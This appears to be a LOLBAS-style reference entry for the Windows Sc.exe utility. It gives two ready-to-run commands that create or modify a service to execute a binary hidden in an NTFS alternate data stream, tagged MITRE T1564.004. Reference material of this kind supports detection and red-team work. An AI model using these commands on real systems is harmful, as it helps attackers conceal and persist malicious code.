Sc.exe

Used by Windows to manage services

ADS

Execute binary file hidden inside an alternate data stream

sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice

Creates a new service and executes the file stored in the ADS. — MITRE: T1564.004 — Privileges: User

Execute binary file hidden inside an alternate data stream

sc config {ExistingServiceName} binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start {ExistingServiceName}

Modifies an existing service and executes the file stored in the ADS. — MITRE: T1564.004 — Privileges: User